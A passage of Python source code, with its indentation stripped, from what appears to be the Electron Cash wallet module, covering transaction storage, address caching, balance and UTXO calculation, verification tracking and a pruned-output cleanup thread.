# thread concurrently without the use of locks, because Python GIL
# allows us to get away with such things. As such do not iterate over
# this dict, but simply add/remove items to/from it in 1-liners (which
# Python's GIL makes thread-safe implicitly).
self._addr_bal_cache = {}
# We keep a set of the wallet and receiving addresses so that is_mine()
# checks are O(logN) rather than O(N). This creates/resets that cache.
self.invalidate_address_set_cache()
self.gap_limit_for_change = 20 # constant
# saved fields
self.use_change = storage.get('use_change', True)
self.multiple_change = storage.get('multiple_change', False)
self.labels = storage.get('labels', {})
# Frozen addresses
frozen_addresses = storage.get('frozen_addresses',[])
self.frozen_addresses = set(Address.from_string(addr)
for addr in frozen_addresses)
# Frozen coins (UTXOs) -- note that we have 2 independent levels of "freezing": address-level and coin-level.
# The two types of freezing are flagged independently of each other and 'spendable' is defined as a coin that satisfies
# BOTH levels of freezing.
self.frozen_coins = set(storage.get('frozen_coins', []))
self.frozen_coins_tmp = set() # in-memory only
self.change_reserved = set(Address.from_string(a) for a in storage.get('change_reserved', ()))
self.change_reserved_default = [Address.from_string(a) for a in storage.get('change_reserved_default', ())]
self.change_unreserved = [Address.from_string(a) for a in storage.get('change_unreserved', ())]
self.change_reserved_tmp = set() # in-memory only
# address -> list(txid, height)
history = storage.get('addr_history',{})
self._history = self.to_Address_dict(history)
# there is a difference between wallet.up_to_date and interface.is_up_to_date()
# interface.is_up_to_date() returns true when all requests have been answered and processed
# wallet.up_to_date is true when the wallet is synchronized (stronger requirement)
self.up_to_date = False
# The only lock. We used to have two here. That was more technical debt
# without much purpose. 1 lock is sufficient. In particular data
# structures that are touched by the network thread as well as the GUI
# (such as self.transactions, history, etc) need to be synchronized
# using this mutex.
self.lock = threading.RLock()
# load requests
requests = self.storage.get('payment_requests', {})
for key, req in requests.items():
req['address'] = Address.from_string(key)
self.receive_requests = {req['address']: req
for req in requests.values()}
# Transactions pending verification. A map from tx hash to transaction
# height. Access is contended so a lock is needed. Client code should
# use get_unverified_tx to get a thread-safe copy of this dict.
self.unverified_tx = defaultdict(int)
# Verified transactions. Each value is a (height, timestamp, block_pos) tuple. Access with self.lock.
self.verified_tx = storage.get('verified_tx3', {})
# save wallet type the first time
if self.storage.get('wallet_type') is None:
self.storage.put('wallet_type', self.wallet_type)
# invoices and contacts
self.invoices = InvoiceStore(self.storage)
self.contacts = Contacts(self.storage)
# cashacct is started in start_threads, but it needs to have relevant
# data here, before the below calls happen
self.cashacct.load()
self.slp.load() # try to load first so we can pick up the remove_transaction hook from load_transactions if need be
# Now, finally, after object is constructed -- we can do this
self.load_keystore()
self.load_addresses()
self.load_transactions()
self.build_reverse_history()
self.check_history()
if self.slp.need_rebuild:
# load failed, must rebuild from self.transactions
self.slp.rebuild()
self.slp.save() # commit changes to self.storage
# Print debug message on finalization
finalization_print_error(self, "[{}/{}] finalized".format(type(self).__name__, self.diagnostic_name()))
@classmethod
def to_Address_dict(cls, d):
'''Convert a dict of strings to a dict of Adddress objects.'''
return {Address.from_string(text): value for text, value in d.items()}
@classmethod
def from_Address_dict(cls, d):
'''Convert a dict of Address objects to a dict of strings.'''
return {addr.to_storage_string(): value
for addr, value in d.items()}
def diagnostic_name(self):
return self.basename()
def __str__(self):
return self.basename()
def get_master_public_key(self):
return None
@profiler
def load_transactions(self):
txi = self.storage.get('txi', {})
self.txi = {tx_hash: self.to_Address_dict(value)
for tx_hash, value in txi.items()
# skip empty entries to save memory and disk space
if value}
txo = self.storage.get('txo', {})
self.txo = {tx_hash: self.to_Address_dict(value)
for tx_hash, value in txo.items()
# skip empty entries to save memory and disk space
if value}
self.tx_fees = self.storage.get('tx_fees', {})
self.pruned_txo = self.storage.get('pruned_txo', {})
self.pruned_txo_values = set(self.pruned_txo.values())
tx_list = self.storage.get('transactions', {})
self.transactions = {}
for tx_hash, raw in tx_list.items():
tx = Transaction(raw)
self.transactions[tx_hash] = tx
if not self.txi.get(tx_hash) and not self.txo.get(tx_hash) and (tx_hash not in self.pruned_txo_values):
self.print_error("removing unreferenced tx", tx_hash)
self.transactions.pop(tx_hash)
self.cashacct.remove_transaction_hook(tx_hash)
self.slp.rm_tx(tx_hash)
@profiler
def save_transactions(self, write=False):
with self.lock:
tx = {}
for k,v in self.transactions.items():
tx[k] = str(v)
self.storage.put('transactions', tx)
txi = {tx_hash: self.from_Address_dict(value)
for tx_hash, value in self.txi.items()
# skip empty entries to save memory and disk space
if value}
txo = {tx_hash: self.from_Address_dict(value)
for tx_hash, value in self.txo.items()
# skip empty entries to save memory and disk space
if value}
self.storage.put('txi', txi)
self.storage.put('txo', txo)
self.storage.put('tx_fees', self.tx_fees)
self.storage.put('pruned_txo', self.pruned_txo)
history = self.from_Address_dict(self._history)
self.storage.put('addr_history', history)
self.slp.save()
if write:
self.storage.write()
def save_verified_tx(self, write=False):
with self.lock:
self.storage.put('verified_tx3', self.verified_tx)
self.cashacct.save()
if write:
self.storage.write()
def save_change_reservations(self):
with self.lock:
self.storage.put('change_reserved_default', [a.to_storage_string() for a in self.change_reserved_default])
self.storage.put('change_reserved', [a.to_storage_string() for a in self.change_reserved])
unreserved = self.change_unreserved + list(self.change_reserved_tmp)
self.storage.put('change_unreserved', [a.to_storage_string() for a in unreserved])
def clear_history(self):
with self.lock:
self.txi = {}
self.txo = {}
self.tx_fees = {}
self.pruned_txo = {}
self.pruned_txo_values = set()
self.slp.clear()
self.save_transactions()
self._addr_bal_cache = {}
self._history = {}
self.tx_addr_hist = defaultdict(set)
self.cashacct.on_clear_history()
@profiler
def build_reverse_history(self):
self.tx_addr_hist = defaultdict(set)
for addr, hist in self._history.items():
for tx_hash, h in hist:
self.tx_addr_hist[tx_hash].add(addr)
@profiler
def check_history(self):
save = False
my_addrs = [addr for addr in self._history if self.is_mine(addr)]
for addr in set(self._history) - set(my_addrs):
self._history.pop(addr)
save = True
for addr in my_addrs:
hist = self._history[addr]
for tx_hash, tx_height in hist:
if tx_hash in self.pruned_txo_values or self.txi.get(tx_hash) or self.txo.get(tx_hash):
continue
tx = self.transactions.get(tx_hash)
if tx is not None:
self.add_transaction(tx_hash, tx)
save = True
if save:
self.save_transactions()
self.cashacct.save()
def basename(self):
return os.path.basename(self.storage.path)
def save_addresses(self):
addr_dict = {
'receiving': [addr.to_storage_string()
for addr in self.receiving_addresses],
'change': [addr.to_storage_string()
for addr in self.change_addresses],
}
self.storage.put('addresses', addr_dict)
def load_addresses(self):
d = self.storage.get('addresses', {})
if not isinstance(d, dict):
d = {}
self.receiving_addresses = Address.from_strings(d.get('receiving', []))
self.change_addresses = Address.from_strings(d.get('change', []))
def synchronize(self):
pass
def is_deterministic(self):
return self.keystore.is_deterministic()
def set_up_to_date(self, up_to_date):
with self.lock:
self.up_to_date = up_to_date
if up_to_date:
self.save_transactions()
# if the verifier is also up to date, persist that too;
# otherwise it will persist its results when it finishes
if self.verifier and self.verifier.is_up_to_date():
self.save_verified_tx()
self.storage.write()
def is_up_to_date(self):
with self.lock: return self.up_to_date
def is_fully_settled_down(self):
''' Returns True iff the wallet is up to date and its synchronizer
and verifier aren't busy doing work, and its pruned_txo_values list
is currently empty. This is used as a final check by the Qt GUI
to decide if it should do a final refresh of all tabs in some cases.'''
with self.lock:
ret = self.up_to_date
if ret and self.verifier:
ret = self.verifier.is_up_to_date()
if ret and self.synchronizer:
ret = self.synchronizer.is_up_to_date()
ret = ret and not self.pruned_txo_values
return bool(ret)
def set_label(self, name, text = None):
with self.lock:
if isinstance(name, Address):
name = name.to_storage_string()
changed = False
old_text = self.labels.get(name)
if text:
text = text.replace("\n", " ")
if old_text != text:
self.labels[name] = text
changed = True
else:
if old_text:
self.labels.pop(name)
changed = True
if changed:
run_hook('set_label', self, name, text)
self.storage.put('labels', self.labels)
return changed
def invalidate_address_set_cache(self):
''' This should be called from functions that add/remove addresses
from the wallet to ensure the address set caches are empty, in
particular from ImportedWallets which may add/delete addresses
thus the length check in is_mine() may not be accurate.
Deterministic wallets can neglect to call this function since their
address sets only grow and never shrink and thus the length check
of is_mine below is sufficient.'''
self._recv_address_set_cached, self._change_address_set_cached = frozenset(), frozenset()
def is_mine(self, address):
''' Note this method assumes that the entire address set is
composed of self.get_change_addresses() + self.get_receiving_addresses().
In subclasses, if that is not the case -- REIMPLEMENT this method! '''
assert not isinstance(address, str)
# assumption here is get_receiving_addresses and get_change_addresses
# are cheap constant-time operations returning a list reference.
# If that is not the case -- reimplement this function.
ra, ca = self.get_receiving_addresses(), self.get_change_addresses()
# Detect if sets changed (addresses added/removed).
# Note the functions that add/remove addresses should invalidate this
# cache using invalidate_address_set_cache() above.
if len(ra) != len(self._recv_address_set_cached):
# re-create cache if lengths don't match
self._recv_address_set_cached = frozenset(ra)
if len(ca) != len(self._change_address_set_cached):
# re-create cache if lengths don't match
self._change_address_set_cached = frozenset(ca)
# Do a 2 x O(logN) lookup using sets rather than 2 x O(N) lookups
# if we were to use the address lists (this was the previous way).
# For small wallets it doesn't matter -- but for wallets with 5k or 10k
# addresses, it starts to add up siince is_mine() is called frequently
# especially while downloading address history.
return (address in self._recv_address_set_cached
or address in self._change_address_set_cached)
def is_change(self, address):
assert not isinstance(address, str)
ca = self.get_change_addresses()
if len(ca) != len(self._change_address_set_cached):
# re-create cache if lengths don't match
self._change_address_set_cached = frozenset(ca)
return address in self._change_address_set_cached
def get_address_index(self, address):
try:
return False, self.receiving_addresses.index(address)
except ValueError:
pass
try:
return True, self.change_addresses.index(address)
except ValueError:
pass
assert not isinstance(address, str)
raise Exception("Address {} not found".format(address))
def export_private_key(self, address, password):
""" extended WIF format """
if self.is_watching_only():
return []
index = self.get_address_index(address)
pk, compressed = self.keystore.get_private_key(index, password)
return bitcoin.serialize_privkey(pk, compressed, self.txin_type)
def get_public_keys(self, address):
sequence = self.get_address_index(address)
return self.get_pubkeys(*sequence)
def add_unverified_tx(self, tx_hash, tx_height):
with self.lock:
if tx_height == 0 and tx_hash in self.verified_tx:
self.verified_tx.pop(tx_hash)
if self.verifier:
self.verifier.merkle_roots.pop(tx_hash, None)
# tx will be verified only if height > 0
if tx_hash not in self.verified_tx:
self.unverified_tx[tx_hash] = tx_height
self.cashacct.add_unverified_tx_hook(tx_hash, tx_height)
def add_verified_tx(self, tx_hash, info, header):
# Remove from the unverified map and add to the verified map and
with self.lock:
self.unverified_tx.pop(tx_hash, None)
self.verified_tx[tx_hash] = info # (tx_height, timestamp, pos)
height, conf, timestamp = self.get_tx_height(tx_hash)
self.cashacct.add_verified_tx_hook(tx_hash, info, header)
self.network.trigger_callback('verified2', self, tx_hash, height, conf, timestamp)
def verification_failed(self, tx_hash, reason):
''' TODO: Notify gui of this if it keeps happening, try a different
server, rate-limited retries, etc '''
self.cashacct.verification_failed_hook(tx_hash, reason)
def get_unverified_txs(self):
'''Returns a map from tx hash to transaction height'''
with self.lock:
return self.unverified_tx.copy()
def get_unverified_tx_pending_count(self):
''' Returns the number of unverified tx's that are confirmed and are
still in process and should be verified soon.'''
with self.lock:
return len([1 for height in self.unverified_tx.values() if height > 0])
def undo_verifications(self, blockchain, height):
'''Used by the verifier when a reorg has happened'''
txs = set()
with self.lock:
for tx_hash, item in list(self.verified_tx.items()):
tx_height, timestamp, pos = item
if tx_height >= height:
header = blockchain.read_header(tx_height)
# fixme: use block hash, not timestamp
if not header or header.get('timestamp') != timestamp:
self.verified_tx.pop(tx_hash, None)
txs.add(tx_hash)
if txs: self.cashacct.undo_verifications_hook(txs)
if txs:
self._addr_bal_cache = {} # this is probably not necessary -- as the receive_history_callback will invalidate bad cache items -- but just to be paranoid we clear the whole balance cache on reorg anyway as a safety measure
return txs
def get_local_height(self):
""" return last known height if we are offline """
return self.network.get_local_height() if self.network else self.storage.get('stored_height', 0)
def get_tx_height(self, tx_hash):
""" return the height and timestamp of a verified transaction. """
with self.lock:
if tx_hash in self.verified_tx:
height, timestamp, pos = self.verified_tx[tx_hash]
conf = max(self.get_local_height() - height + 1, 0)
return height, conf, timestamp
elif tx_hash in self.unverified_tx:
height = self.unverified_tx[tx_hash]
return height, 0, 0
else:
return 0, 0, 0
def get_tx_block_hash(self, tx_hash):
''' Only works for tx's in wallet, for which we know the height. '''
height, ign, ign2 = self.get_tx_height(tx_hash)
return self.get_block_hash(height)
def get_block_hash(self, height):
'''Convenience method equivalent to Blockchain.get_height(), except our
version returns None instead of NULL_HASH_HEX on 'not found' header. '''
ret = None
if self.network and height is not None and height >= 0 and height <= self.get_local_height():
bchain = self.network.blockchain()
if bchain:
ret = bchain.get_hash(height)
if ret == NULL_HASH_HEX:
# if hash was NULL (all zeroes), prefer to return None
ret = None
return ret
def get_txpos(self, tx_hash):
"return position, even if the tx is unverified"
with self.lock:
if tx_hash in self.verified_tx:
height, timestamp, pos = self.verified_tx[tx_hash]
return height, pos
elif tx_hash in self.unverified_tx:
height = self.unverified_tx[tx_hash]
return (height, 0) if height > 0 else ((1e9 - height), 0)
else:
return (1e9+1, 0)
def is_found(self):
return any(value for value in self._history.values())
def get_num_tx(self, address):
""" return number of transactions where address is involved """
return len(self.get_address_history(address))
def get_tx_delta(self, tx_hash, address):
assert isinstance(address, Address)
"effect of tx on address"
# pruned
if tx_hash in self.pruned_txo_values:
return None
delta = 0
# substract the value of coins sent from address
d = self.txi.get(tx_hash, {}).get(address, [])
for n, v in d:
delta -= v
# add the value of the coins received at address
d = self.txo.get(tx_hash, {}).get(address, [])
for n, v, cb in d:
delta += v
return delta
def get_wallet_delta(self, tx):
""" effect of tx on wallet """
is_relevant = False
is_mine = False
is_pruned = False
is_partial = False
v_in = v_out = v_out_mine = 0
for item in tx.inputs():
addr = item['address']
if self.is_mine(addr):
is_mine = True
is_relevant = True
d = self.txo.get(item['prevout_hash'], {}).get(addr, [])
for n, v, cb in d:
if n == item['prevout_n']:
value = v
break
else:
value = None
if value is None:
is_pruned = True
else:
v_in += value
else:
is_partial = True
if not is_mine:
is_partial = False
for _type, addr, value in tx.outputs():
v_out += value
if self.is_mine(addr):
v_out_mine += value
is_relevant = True
if is_pruned:
# some inputs are mine:
fee = None
if is_mine:
v = v_out_mine - v_out
else:
# no input is mine
v = v_out_mine
else:
v = v_out_mine - v_in
if is_partial:
# some inputs are mine, but not all
fee = None
else:
# all inputs are mine
fee = v_in - v_out
if not is_mine:
fee = None
return is_relevant, is_mine, v, fee
def get_tx_info(self, tx):
is_relevant, is_mine, v, fee = self.get_wallet_delta(tx)
exp_n = None
can_broadcast = False
label = ''
height = conf = timestamp = None
tx_hash = tx.txid()
if tx.is_complete():
if tx_hash in self.transactions:
label = self.get_label(tx_hash)
height, conf, timestamp = self.get_tx_height(tx_hash)
if height > 0:
if conf:
status = ngettext("{conf} confirmation", "{conf} confirmations", conf).format(conf=conf)
else:
status = _('Not verified')
else:
status = _('Unconfirmed')
if fee is None:
fee = self.tx_fees.get(tx_hash)
if fee and self.network and self.network.config.has_fee_estimates():
# NB: this branch will not be taken as has_fee_estimates()
# will always return false since we disabled querying
# the fee histogram as it's useless for BCH anyway.
size = tx.estimated_size()
fee_per_kb = fee * 1000 / size
exp_n = self.network.config.reverse_dynfee(fee_per_kb)
else:
status = _("Signed")
can_broadcast = self.network is not None
else:
s, r = tx.signature_count()
status = _("Unsigned") if s == 0 else _('Partially signed') + ' (%d/%d)'%(s,r)
if is_relevant:
if is_mine:
if fee is not None:
amount = v + fee
else:
amount = v
else:
amount = v
else:
amount = None
return tx_hash, status, label, can_broadcast, amount, fee, height, conf, timestamp, exp_n
def get_addr_io(self, address):
h = self.get_address_history(address)
received = {}
sent = {}
for tx_hash, height in h:
l = self.txo.get(tx_hash, {}).get(address, [])
for n, v, is_cb in l:
received[tx_hash + ':%d'%n] = (height, v, is_cb)
for tx_hash, height in h:
l = self.txi.get(tx_hash, {}).get(address, [])
for txi, v in l:
sent[txi] = height
return received, sent
def get_addr_utxo(self, address):
coins, spent = self.get_addr_io(address)
for txi in spent:
coins.pop(txi)
# cleanup/detect if the 'frozen coin' was spent and remove it from the frozen coin set
self.frozen_coins.discard(txi)
self.frozen_coins_tmp.discard(txi)
out = {}
for txo, v in coins.items():
tx_height, value, is_cb = v
prevout_hash, prevout_n = txo.split(':')
x = {
'address':address,
'value':value,
'prevout_n':int(prevout_n),
'prevout_hash':prevout_hash,
'height':tx_height,
'coinbase':is_cb,
'is_frozen_coin':txo in self.frozen_coins or txo in self.frozen_coins_tmp,
'slp_token':self.slp.token_info_for_txo(txo), # (token_id_hex, qty) tuple or None
}
out[txo] = x
return out
# return the total amount ever received by an address
def get_addr_received(self, address):
received, sent = self.get_addr_io(address)
return sum([v for height, v, is_cb in received.values()])
def get_addr_balance(self, address, exclude_frozen_coins=False):
''' Returns the balance of a bitcoin address as a tuple of:
(confirmed_matured, unconfirmed, unmatured)
Note that 'exclude_frozen_coins = True' only checks for coin-level
freezing, not address-level. '''
assert isinstance(address, Address)
mempoolHeight = self.get_local_height() + 1
if not exclude_frozen_coins: # we do not use the cache when excluding frozen coins as frozen status is a dynamic quantity that can change at any time in the UI
cached = self._addr_bal_cache.get(address)
if cached is not None:
return cached
received, sent = self.get_addr_io(address)
c = u = x = 0
had_cb = False
for txo, (tx_height, v, is_cb) in received.items():
if exclude_frozen_coins and (txo in self.frozen_coins or txo in self.frozen_coins_tmp):
continue
had_cb = had_cb or is_cb # remember if this address has ever seen a coinbase txo
if is_cb and tx_height + COINBASE_MATURITY > mempoolHeight:
x += v
elif tx_height > 0:
c += v
else:
u += v
if txo in sent:
if sent[txo] > 0:
c -= v
else:
u -= v
result = c, u, x
if not exclude_frozen_coins and not had_cb:
# Cache the results.
# Cache needs to be invalidated if a transaction is added to/
# removed from addr history. (See self._addr_bal_cache calls
# related to this littered throughout this file).
#
# Note that as a performance tweak we don't ever cache balances for
# addresses involving coinbase coins. The rationale being as
# follows: Caching of balances of the coinbase addresses involves
# a dynamic quantity: maturity of the coin (which considers the
# ever-changing block height).
#
# There wasn't a good place in this codebase to signal the maturity
# happening (and thus invalidate the cache entry for the exact
# address that holds the coinbase coin in question when a new
# block is found that matures a coinbase coin).
#
# In light of that fact, a possible approach would be to invalidate
# this entire cache when a new block arrives (this is what Electrum
# does). However, for Electron Cash with its focus on many addresses
# for future privacy features such as integrated CashShuffle --
# being notified in the wallet and invalidating the *entire* cache
# whenever a new block arrives (which is the exact time you do
# the most GUI refreshing and calling of this function) seems a bit
# heavy-handed, just for sake of the (relatively rare, for the
# average user) coinbase-carrying addresses.
#
# It's not a huge performance hit for the coinbase addresses to
# simply not cache their results, and have this function recompute
# their balance on each call, when you consider that as a
# consequence of this policy, all the other addresses that are
# non-coinbase can benefit from a cache that stays valid for longer
# than 1 block (so long as their balances haven't changed).
self._addr_bal_cache[address] = result
return result
def get_spendable_coins(self, domain, config, isInvoice = False):
confirmed_only = config.get('confirmed_only', DEFAULT_CONFIRMED_ONLY)
if (isInvoice):
confirmed_only = True
return self.get_utxos(domain, exclude_frozen=True, mature=True, confirmed_only=confirmed_only, exclude_slp=True)
def get_utxos(self, domain = None, exclude_frozen = False, mature = False, confirmed_only = False,
*, addr_set_out = None, exclude_slp = True):
'''Note that exclude_frozen = True checks for BOTH address-level and
coin-level frozen status.
exclude_slp skips coins that also have SLP tokens on them. This defaults
to True in EC 4.0.10+ in order to prevent inadvertently burning tokens.
Optional kw-only arg `addr_set_out` specifies a set in which to add all
addresses encountered in the utxos returned. '''
with self.lock:
mempoolHeight = self.get_local_height() + 1
coins = []
if domain is None:
domain = self.get_addresses()
if exclude_frozen:
domain = set(domain) - self.frozen_addresses
for addr in domain:
utxos = self.get_addr_utxo(addr)
len_before = len(coins)
for x in utxos.values():
if exclude_slp and x['slp_token']:
continue
if exclude_frozen and x['is_frozen_coin']:
continue
if confirmed_only and x['height'] <= 0:
continue
# A note about maturity: Previous versions of Electrum
# and Electron Cash were off by one. Maturity is
# calculated based off mempool height (chain tip height + 1).
# See bitcoind consensus/tx_verify.cpp Consensus::CheckTxInputs
# and also txmempool.cpp CTxMemPool::removeForReorg.
if mature and x['coinbase'] and mempoolHeight - x['height'] < COINBASE_MATURITY:
continue
coins.append(x)
if addr_set_out is not None and len(coins) > len_before:
# add this address to the address set if it has results
addr_set_out.add(addr)
return coins
def dummy_address(self):
return self.get_receiving_addresses()[0]
def get_addresses(self):
return self.get_receiving_addresses() + self.get_change_addresses()
def get_change_addresses(self):
''' Reimplemented in subclasses for wallets that have a change address set/derivation path. '''
return []
def get_frozen_balance(self):
if not self.frozen_coins and not self.frozen_coins_tmp:
# performance short-cut -- get the balance of the frozen address set only IFF we don't have any frozen coins
return self.get_balance(self.frozen_addresses)
# otherwise, do this more costly calculation...
cc_no_f, uu_no_f, xx_no_f = self.get_balance(None, exclude_frozen_coins = True, exclude_frozen_addresses = True)
cc_all, uu_all, xx_all = self.get_balance(None, exclude_frozen_coins = False, exclude_frozen_addresses = False)
return (cc_all-cc_no_f), (uu_all-uu_no_f), (xx_all-xx_no_f)
def get_balance(self, domain=None, exclude_frozen_coins=False, exclude_frozen_addresses=False):
if domain is None:
domain = self.get_addresses()
if exclude_frozen_addresses:
domain = set(domain) - self.frozen_addresses
cc = uu = xx = 0
for addr in domain:
c, u, x = self.get_addr_balance(addr, exclude_frozen_coins)
cc += c
uu += u
xx += x
return cc, uu, xx
def get_address_history(self, address):
assert isinstance(address, Address)
return self._history.get(address, [])
def _clean_pruned_txo_thread(self):
''' Runs in the thread self.pruned_txo_cleaner_thread which is only
active if self.network. Cleans the self.pruned_txo dict and the
self.pruned_txo_values set of spends that are not relevant to the
wallet. The processing below is needed because as of 9/16/2019, Electron
Cash temporarily puts all spends that pass through add_transaction and
have an unparseable address (txi['address'] is None) into the dict
self.pruned_txo. This is necessary for handling tx's with esoteric p2sh
scriptSigs and detecting balance changes properly for txins
containing such scriptSigs. See #895. '''
def deser(ser):
prevout_hash, prevout_n = ser.split(':')
prevout_n = int(prevout_n)
return prevout_hash, prevout_n
def mkser(prevout_hash, prevout_n):
return f'{prevout_hash}:{prevout_n}'
def rm(ser, pruned_too=True, *, tup = None):
h, n = tup or deser(ser) # tup arg is for performance when caller already knows the info (avoid a redundant .split on ':')
s = txid_n[h]
s.discard(n)
if not s:
txid_n.pop(h, None)
if pruned_too:
with self.lock:
tx_hash = self.pruned_txo.pop(ser, None)
self.pruned_txo_values.discard(tx_hash)
def add(ser):
prevout_hash, prevout_n = deser(ser)
txid_n[prevout_hash].add(prevout_n)
def keep_running():
return bool(self.network and self.pruned_txo_cleaner_thread is me)
def can_do_work():
return bool(txid_n and self.is_up_to_date())
debug = False # set this to true here to get more verbose output
me = threading.current_thread()
q = me.q
me.txid_n = txid_n = defaultdict(set) # dict of prevout_hash -> set of prevout_n (int)
last = time.time()
try:
self.print_error(f"{me.name}: thread started")
with self.lock:
# Setup -- grab whatever was already in pruned_txo at thread
# start
for ser in self.pruned_txo:
h, n = deser(ser)
txid_n[h].add(n)
while keep_running():
try:
ser = q.get(timeout=5.0 if can_do_work() else 20.0)
if ser is None:
# quit thread
return
if ser.startswith('r_'):
# remove requested
rm(ser[2:], False)
else:
# ser was added
add(ser)
del ser
except queue.Empty:
pass
if not can_do_work():
continue
t0 = time.time()
if t0 - last < 1.0: # run no more often than once per second
continue
last = t0
defunct_ct = 0
for prevout_hash, s in txid_n.copy().items():
for prevout_n in s.copy():
ser = mkser(prevout_hash, prevout_n)
with self.lock:
defunct = ser not in self.pruned_txo
if defunct:
#self.print_error(f"{me.name}: skipping already-cleaned", ser)
rm(ser, False, tup=(prevout_hash, prevout_n))
defunct_ct += 1
continue
if defunct_ct and debug:
self.print_error(f"{me.name}: DEBUG", defunct_ct, "defunct txos removed in", time.time()-t0, "secs")
ct = 0
for prevout_hash, s in txid_n.copy().items():
try:
with self.lock:
tx = self.transactions.get(prevout_hash)
if tx is None:
tx = Transaction.tx_cache_get(prevout_hash)
if isinstance(tx, Transaction):
tx = Transaction(tx.raw) # take a copy
else:
if debug: self.print_error(f"{me.name}: DEBUG retrieving txid", prevout_hash, "...")
t1 = time.time()
tx = Transaction(self.network.synchronous_get(('blockchain.transaction.get', [prevout_hash])))
if debug: self.print_error(f"{me.name}: DEBUG network retrieve took", time.time()-t1, "secs")
# Paranoia; intended side effect of the below assert
# is to also deserialize the tx (by calling the slow
# .txid()) which ensures the tx from the server
# is not junk.
assert prevout_hash == tx.txid(), "txid mismatch"
Transaction.tx_cache_put(tx, prevout_hash) # will cache a copy
except Exception as e:
self.print_error(f"{me.name}: Error retrieving txid", prevout_hash, ":", repr(e))
if not keep_running(): # in case we got a network timeout *and* the wallet was closed
return
continue
if not keep_running():
return
for prevout_n in s.copy():
ser = mkser(prevout_hash, prevout_n)
try:
txo = tx.outputs()[prevout_n]
except IndexError:
self.print_error(f"{me.name}: ERROR -- could not find output", ser)
rm(ser, True, tup=(prevout_hash, prevout_n))
continue
_typ, addr, v = txo
rm_pruned_too = False
with self.lock:
mine = self.is_mine(addr)
if not mine and ser in self.pruned_txo:
ct += 1
rm_pruned_too = True
rm(ser, rm_pruned_too, tup=(prevout_hash, prevout_n))
if rm_pruned_too and debug:
self.print_error(f"{me.name}: DEBUG removed", ser)
if ct:
with self.lock:
# Save changes to storage -- this is cheap and doesn't
# actually write to file yet, just flags storage as
# 'dirty' for when wallet.storage.write() is called
# later.
self.storage.put('pruned_txo', self.pruned_txo)
self.print_error(f"{me.name}: removed", ct,
"(non-relevant) pruned_txo's in",
f'{time.time()-t0:3.2f}', "seconds")
except:
import traceback
self.print_error(f"{me.name}:", traceback.format_exc())
raise
finally:
self.print_error(f"{me.name}: thread exiting")
def add_transaction(self, tx_hash, tx):
if not tx.inputs():
# bad tx came in off the wire -- all 0's or something, see #987
self.print_error("add_transaction: WARNING a tx came in from the network with 0 inputs! Bad server? Ignoring tx:", tx_hash)
return
is_coinbase = tx.inputs()[0]['type'] == 'coinbase'
with self.lock:
# HELPER FUNCTIONS
def add_to_self_txi(tx_hash, addr, ser, v):
''' addr must be 'is_mine' '''
d = self.txi.get(tx_hash)
if d is None:
self.txi[tx_hash] = d = {}
l = d.get(addr)
if l is None:
d[addr] = l = []
l.append((ser, v))
def find_in_self_txo(prevout_hash: str, prevout_n: int) -> tuple:
''' Returns a tuple of the (Address,value) for a given
prevout_hash:prevout_n, or (None, None) if not found. If valid
return, the Address object is found by scanning self.txo. The
lookup below is relatively fast in practice even on pathological
wallets. '''
dd = self.txo.get(prevout_hash, {})
for addr2, item in dd.items():
for n, v, is_cb in item:
if n == prevout_n:
return addr2, v
return (None, None)
def txin_get_info(txin):
prevout_hash = txi['prevout_hash']
prevout_n = txi['prevout_n']
ser = prevout_hash + ':%d'%prevout_n
return prevout_hash, prevout_n, ser
def put_pruned_txo(ser, tx_hash):
self.pruned_txo[ser] = tx_hash
self.pruned_txo_values.add(tx_hash)
t = self.pruned_txo_cleaner_thread
if t and t.q: t.q.put(ser)
def pop_pruned_txo(ser):
next_tx = self.pruned_txo.pop(ser, None)
if next_tx:
self.pruned_txo_values.discard(next_tx)
t = self.pruned_txo_cleaner_thread
if t and t.q: t.q.put('r_' + ser) # notify of removal
return next_tx
# /HELPER FUNCTIONS
# add inputs
self.txi[tx_hash] = d = {}
for txi in tx.inputs():
if txi['type'] == 'coinbase':
continue
addr = txi.get('address')
# find value from prev output
if self.is_mine(addr):
prevout_hash, prevout_n, ser = txin_get_info(txi)
dd = self.txo.get(prevout_hash, {})
for n, v, is_cb in dd.get(addr, []):
if n == prevout_n:
add_to_self_txi(tx_hash, addr, ser, v)
break
else:
# Coin's spend tx came in before its receive tx: flag
# the spend for when the receive tx will arrive into
# this function later.
put_pruned_txo(ser, tx_hash)
self._addr_bal_cache.pop(addr, None) # invalidate cache entry
del dd, prevout_hash, prevout_n, ser
elif addr is None:
# Unknown/unparsed address.. may be a strange p2sh scriptSig
# Try and find it in txout's if it's one of ours.
# See issue #895.
prevout_hash, prevout_n, ser = txin_get_info(txi)
# Find address in self.txo for this prevout_hash:prevout_n
addr2, v = find_in_self_txo(prevout_hash, prevout_n)
if addr2 is not None and self.is_mine(addr2):
add_to_self_txi(tx_hash, addr2, ser, v)
self._addr_bal_cache.pop(addr2, None) # invalidate cache entry
else:
# Not found in self.txo. It may still be one of ours
# however since tx's can come in out of order due to
# CTOR, etc, and self.txo may not have it yet. So we
# flag the spend now, and when the out-of-order prevout
# tx comes in later for this input (if it's indeed one
# of ours), the real address for this input will get
# picked up then in the "add outputs" section below in
# this function. At that point, self.txi will be
# properly updated to indicate the coin in question was
# spent via an add_to_self_txi call.
#
# If it's *not* one of ours, however, the below will
# grow pruned_txo with an irrelevant entry. However, the
# irrelevant entry will eventually be reaped and removed
# by the self.pruned_txo_cleaner_thread which runs
# periodically in the background.
put_pruned_txo(ser, tx_hash)
del addr2, v, prevout_hash, prevout_n, ser
# don't keep empty entries in self.txi
if not d:
self.txi.pop(tx_hash, None)
# add outputs
self.txo[tx_hash] = d = {}
op_return_ct = 0
deferred_cashacct_add = None
for n, txo in enumerate(tx.outputs()):
ser = tx_hash + ':%d'%n
_type, addr, v = txo
mine = False
if isinstance(addr, ScriptOutput):
if addr.is_opreturn():
op_return_ct += 1
if isinstance(addr, cashacct.ScriptOutput):
# auto-detect CashAccount registrations we see,
# and notify cashacct subsystem of that fact. But we
# can only do it after making sure it's the *only*
# OP_RETURN in the tx.
deferred_cashacct_add = (
lambda _tx_hash=tx_hash, _tx=tx, _n=n, _addr=addr:
self.cashacct.add_transaction_hook(_tx_hash, _tx, _n, _addr)
)
elif self.is_mine(addr):
# add coin to self.txo since it's mine.
mine = True
l = d.get(addr)
if l is None:
d[addr] = l = []
l.append((n, v, is_coinbase))
del l
self._addr_bal_cache.pop(addr, None) # invalidate cache entry
# give v to txi that spends me
next_tx = pop_pruned_txo(ser)
if next_tx is not None and mine:
